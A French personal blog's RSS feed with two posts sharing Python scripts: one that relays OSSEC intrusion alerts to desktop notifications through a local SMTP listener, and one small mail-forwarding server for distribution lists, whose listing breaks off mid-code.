<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le Blog du grand loup Zeur &#187; python</title>
	<atom:link href="http://blog.gaetan-grigis.eu/tag/python/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.gaetan-grigis.eu</link>
	<description>Le blog qui vous fait connaitre ce que vous savez déjà</description>
	<lastBuildDate>Tue, 17 Jan 2012 08:43:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Alerte d&#8217;ossec en notification sur le bureau</title>
		<link>http://blog.gaetan-grigis.eu/python-2/alerte-dossec-en-notification-sur-le-bureau/</link>
		<comments>http://blog.gaetan-grigis.eu/python-2/alerte-dossec-en-notification-sur-le-bureau/#comments</comments>
		<pubDate>Thu, 21 Apr 2011 19:06:02 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[notification]]></category>
		<category><![CDATA[ossec]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[telnet]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=1046</guid>
		<description><![CDATA[Aujourd&#8217;hui, Encore un script useless, fait pour passer le temps en cours &#8230; Le but étant d&#8217;avoir un IDS ossec sur l&#8217;ordi local configuré pour détecter et répondre plus ou moins comme il faut aux attaques basiques et SURTOUT rendre compte à l&#8217;utilisateur des problèmes rencontrés de façon orienté &#8216;desktop&#8217;. A l&#8217;heure actuelle seul deux [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui,</p>
<p>Encore un script useless, fait pour passer le temps en cours &#8230; </p>
<p>Le but étant d&#8217;avoir un IDS ossec sur l&#8217;ordi local configuré pour détecter et répondre plus ou moins comme il faut aux attaques basiques et SURTOUT rendre compte à l&#8217;utilisateur des problèmes rencontrés de façon orienté &#8216;desktop&#8217;.</p>
<p>A l&#8217;heure actuelle seul deux systèmes de notifications (officiels) de l&#8217;utilisateur existent sur ossec : soit une notification par mail, soit par twitter (qui ne fonctionne plus).<br />
<span id="more-1046"></span></p>
<p>L&#8217;intêret de ce procédé était surtout de plugger snort avec ossec pour détecter des attaques sur le réseau sans avoir à laisser de console sur les logs de l&#8217;ids (des p&#8217;tits rigolo qui s&#8217;amuse sur le réseau de l&#8217;école :s).</p>
<p>Histoire de limiter le développement du logiciel, j&#8217;ai juste créée un serveur de mail qui via plusieurs regexp  chope la règle qui a detecté l&#8217;attaque et le sujet du mail pour l&#8217;afficher en belle bulle de notification linuxienne.</p>
<p><img src="http://blog.gaetan-grigis.eu/wp-content/uploads/2011/04/infobulleossec.png" alt="" title="infobulleossec" width="402" height="107" class="aligncenter size-full wp-image-1050" /></p>
<p>La règle iptable qui renvoit les paquets du port 25 au port 8025 pour l&#8217;interface lo seulement, comme ça on lance le soft avec les droits utilisateurs, on est jamais trop prudent.</p>
<div class="geshi no iptable">
<ol>
<li class="li1">
<div class="de1">/sbin/iptables -t nat -A OUTPUT -o lo -p tcp &#8211;dport 25 -j REDIRECT &#8211;to-port 8025</div>
</li>
</ol>
</div>
<p>Ne pas oublier de modifier le fichier /etc/ossec.conf en mettant l&#8217;adresse du serveur smtp a 127.0.0.1, le serveur de mail chopant tout les adresses, on s&#8217;en fout donc de l&#8217;adresse de destination et d&#8217;émission.</p>
<p>IL faut aussi installer les dépendances :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">apt-get <span class="kw2">install</span> python-notify</div>
</li>
</ol>
</div>
<p>Une copie du mail est sauvegarder dans le fichier .mails_ossec, histoire de ne pas perdre le mail. (Au pire il est possible de mettre plusieurs adresses mail dans la conf ossec).</p>
<p>Le script à mettre au lancement de la session (Système -> Préférences -> Application au Démarrage) : </p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/env python</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">smtpd</span> <span class="kw1">import</span> PureProxy</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">asyncore</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">asynchat</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">smtplib</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">re</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">os</span>.<span class="me1">path</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">pwd</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">grp</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> pynotify</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> mySMTP <span class="br0">&#40;</span>PureProxy<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,s<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; PureProxy.<span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,s,<span class="kw2">None</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> process_message <span class="br0">&#40;</span><span class="kw2">self</span>, peer, mailfrom, rcpttos, data<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="kw1">not</span> pynotify.<span class="me1">init</span><span class="br0">&#40;</span><span class="st0">&quot;Default Action Test&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">sys</span>.<span class="me1">exit</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;filout = <span class="kw2">open</span><span class="br0">&#40;</span><span class="st0">&#39;.mails_ossec&#39;</span>, <span class="st0">&#39;a&#39;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;filout.<span class="me1">write</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;filout.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;title=<span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;rule =<span class="st0">&quot;&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp;m = <span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;Subject:(.*)&quot;</span>,data,<span class="kw3">re</span>.<span class="me1">I</span>|re.<span class="me1">M</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> m:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; title=m.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;m= <span class="kw2">None</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;m = <span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;(Rule:.*)&quot;</span>,data,<span class="kw3">re</span>.<span class="me1">I</span>|re.<span class="me1">M</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> m:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; rule=m.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="co1">#print data</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> title==<span class="st0">&quot;&quot;</span> <span class="kw1">and</span> rule==<span class="st0">&quot;&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> <span class="kw2">None</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;n = pynotify.<span class="me1">Notification</span><span class="br0">&#40;</span>title, rule<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;n.<span class="me1">show</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">None</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> __name__ == <span class="st0">&quot;__main__&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">#in case of root : drop rights &#8230; </span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">#but will not be able to access</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">#glibnotify &#8230; useless</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw3">os</span>.<span class="me1">getuid</span><span class="br0">&#40;</span><span class="br0">&#41;</span> == <span class="nu0">0</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; running_uid = <span class="kw3">pwd</span>.<span class="me1">getpwnam</span><span class="br0">&#40;</span><span class="st0">&quot;nobody&quot;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; running_gid = <span class="kw3">grp</span>.<span class="me1">getgrnam</span><span class="br0">&#40;</span><span class="st0">&quot;nogroup&quot;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">os</span>.<span class="me1">setgid</span><span class="br0">&#40;</span>running_gid<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">os</span>.<span class="me1">setuid</span><span class="br0">&#40;</span>running_uid<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">#/sbin/iptables -t nat -A OUTPUT -o lo -p tcp &#8211;dport 25 -j REDIRECT &#8211;to-port 8025</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; serv = mySMTP <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="st0">&quot;127.0.0.1&quot;</span>, <span class="nu0">8025</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">try</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">asyncore</span>.<span class="me1">loop</span> <span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">except</span> <span class="kw2">KeyboardInterrupt</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">pass</span></div>
</li>
</ol>
</div>
<p>Histoire de pouvoir tester le script, sans attendre une attaque ou une erreur système :<br />
Le petit script qui envoi un mail type au serveur de mail</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="co0">#!/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;mail from:frommail&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sleep</span> <span class="nu0">0.5</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;rcpt to:tomail&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sleep</span> <span class="nu0">0.5</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;data&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sleep</span> <span class="nu0">0.5</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;To: &lt;someone@127.0.0.1&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">From: OSSEC HIDS &lt;ossecm@kikoo&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Date: Thu, 21 Apr 2011 11:31:40 +0200</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Subject: OSSEC Notification &#8211; kikoo &#8211; Alert level 10</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">OSSEC HIDS Notification.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">2011 Apr 21 11:31:28</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Received From: kikoo-&gt;/var/log/auth.log</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Rule: 5401 fired (level 10) -&gt; &#39;Three failed attempts to run sudo&#39;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Portion of the log(s):</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Apr 21 11:31:28 kikoo sudo: &nbsp; &nbsp;kikoo : 3 incorrect password attempts ; TTY=pts/1 ; PWD=/home/kikoo/Documents ; USER=root ; COMMAND=/usr/bin/who&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sleep</span> <span class="nu0">0.5</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;.&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">sleep</span> <span class="nu0">0.5</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;QUIT&quot;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#41;</span> <span class="sy0">|</span> telnet <span class="nu0">127.0</span><span class="nu0">.0</span><span class="nu0">.1</span> <span class="nu0">25</span></div>
</li>
</ol>
</div>
<p>Et hop &#8230; dès qu&#8217;une attaque à lieu, ou un problème apparaît, une notification apparaît dans les secondes qui suivent. ça peut être sympa en lan, avec un bon NIDS, pour découvrir les scripts kiddies.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1046">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/android/application-android-pour-le-telechargement-des-versions-de-cyanogen/" rel="bookmark" title="Permanent Link: Application android pour le téléchargement des versions de Cyanogen">Application android pour le téléchargement des versions de Cyanogen</a></li><li><a href="http://blog.gaetan-grigis.eu/ubuntu/gnome-desactiver-la-previsualisation-de-medias/" rel="bookmark" title="Permanent Link: Gnome : Désactiver la prévisualisation de medias">Gnome : Désactiver la prévisualisation de medias</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/souhaiter-de-joyeuses-fetes-en-piratant-les-dns-de-sa-boite/" rel="bookmark" title="Permanent Link: Souhaiter de joyeuses fêtes en piratant ses DNS ^^.">Souhaiter de joyeuses fêtes en piratant ses DNS ^^.</a></li><li><a href="http://blog.gaetan-grigis.eu/android/android-application-de-controle-a-distancebackupinfo/" rel="bookmark" title="Permanent Link: [Android] application de contrôle à distance/backup/info">[Android] application de contrôle à distance/backup/info</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/python-2/alerte-dossec-en-notification-sur-le-bureau/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Petit serveur d&#8217;adresse mail de diffusion</title>
		<link>http://blog.gaetan-grigis.eu/programmation/petit-serveur-dadresse-mail-de-diffusion/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/petit-serveur-dadresse-mail-de-diffusion/#comments</comments>
		<pubDate>Sat, 05 Mar 2011 09:00:53 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[diffusion]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=972</guid>
		<description><![CDATA[Plop à tous &#8230; encore un truc useless à partager. J&#8217;ai récemment dû intervenir dans une entreprise qui avait un serveur de mail qui ne supportait pas les listes de diffusion (service de base fournit par yahoo en fait, donc à part forwarder des mails sur une adresse, il est pas possible de faire grand [...]]]></description>
			<content:encoded><![CDATA[<p>Plop à tous &#8230; encore un truc useless à partager.</p>
<p>J&#8217;ai récemment dû intervenir dans une entreprise qui avait un serveur de mail qui ne supportait pas les listes de diffusion (service de base fournit par yahoo en fait, donc à part forwarder des mails sur une adresse, il est pas possible de faire grand chose).</p>
<p>Ne voulant pas perdre trop de temps à mettre en place des systèmes du genre mailman ou autre, pour créer une vingtaine d&#8217;alias pour deux adresses mails (style support@mondomaine.fr qui envoit un mail pour toute la team de support), j&#8217;ai décidé de coder un serveur de mail qui ne répondrait qu&#8217;à certaines adresses et renverrait le mail sur les adresses configurées pour cette adresse de diffusion.</p>
<p>Ecrire ce genre de truc en python est encore plus rapide que de chercher l&#8217;équivalent sur google <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  d&#8217;où ma démarche.<br />
<span id="more-972"></span></p>
<p>La version de base fonctionne ainsi :<br />
Pour la conf, il faut un fichier du genre à mettre dans le répertoire de l&#8217;executable :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">mail_monadressedediffusion<span class="sy0">@</span>mondomaine.fr.conf</div>
</li>
</ol>
</div>
<p>qui contiendra la liste des adresses mails du genre :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">monuser1<span class="sy0">@</span>mondomaine.fr</div>
</li>
<li class="li1">
<div class="de1">monuser2<span class="sy0">@</span>mondomaine.fr</div>
</li>
</ol>
</div>
<p>Ainsi, tout les mails envoyés à &laquo;&nbsp;monadressedediffusion@mondomaine.fr&nbsp;&raquo; seront envoyés à &laquo;&nbsp;monuser1@mondomaine.fr&nbsp;&raquo; et &laquo;&nbsp;monuser2@mondomaine.fr&nbsp;&raquo;.</p>
<p>Bien entendu, si l&#8217;adresse mail sur lequel on chope le mail n&#8217;a pas de conf (mail_[adresse mail].conf), on n&#8217;envoi pas de mail, donc on termine pas en relais pour les méchants spammeurs (pour une utilisation en proxy local, on peut enlever cette partie du code &#8230;).</p>
<p>Comm d&#8217;hab&#8217;, le code est fournit à titre d&#8217;exemple &laquo;&nbsp;as his &#038; for educational purpose only&nbsp;&raquo; comme dirait les anglais, à adapter à ses besoins <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/env python</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">from</span> <span class="kw3">smtpd</span> <span class="kw1">import</span> PureProxy</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">asyncore</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">asynchat</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">smtplib</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">re</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">os</span>.<span class="me1">path</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">pwd</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">grp</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> mySMTP <span class="br0">&#40;</span>PureProxy<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,s,n<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">serv</span> = n</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; PureProxy.<span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,s,<span class="kw2">None</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> process_message <span class="br0">&#40;</span><span class="kw2">self</span>, peer, mailfrom, rcpttos, data<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> rcpt <span class="kw1">in</span> rcpttos:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">file</span>=<span class="st0">&quot;mail_&quot;</span>+rcpt+<span class="st0">&quot;.conf&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="kw3">os</span>.<span class="me1">path</span>.<span class="me1">exists</span><span class="br0">&#40;</span><span class="kw2">file</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = <span class="kw2">open</span><span class="br0">&#40;</span><span class="kw2">file</span>,<span class="st0">&#39;r&#39;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rcpts = <span class="kw2">list</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> line <span class="kw1">in</span> f:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line=line.<span class="me1">strip</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> line<span class="sy0">!</span>=mailfrom:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rcpts.<span class="me1">append</span><span class="br0">&#40;</span>line<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span>rcpts<span class="br0">&#41;</span><span class="sy0">&gt;</span><span class="nu0">0</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; smtpSender = <span class="kw3">smtplib</span>.<span class="me1">SMTP</span><span class="br0">&#40;</span> <span class="kw2">self</span>.<span class="me1">serv</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="kw2">self</span>.<span class="me1">serv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; smtpSender.<span class="me1">sendmail</span><span class="br0">&#40;</span> mailfrom, rcpts, data <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; smtpSender.<span class="me1">quit</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">None</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> __name__ == <span class="st0">&quot;__main__&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span><span class="sy0">&lt;</span><span class="nu0">2</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Il manque des arguments : &quot;</span>+<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>+<span class="st0">&quot; &#39;serveur smtp&#39;,&#39;port&#39;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">sys</span>.<span class="me1">exit</span><span class="br0">&#40;</span><span class="nu0">2</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw3">os</span>.<span class="me1">getuid</span><span class="br0">&#40;</span><span class="br0">&#41;</span> == <span class="nu0">0</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; running_uid = <span class="kw3">pwd</span>.<span class="me1">getpwnam</span><span class="br0">&#40;</span><span class="st0">&quot;nobody&quot;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
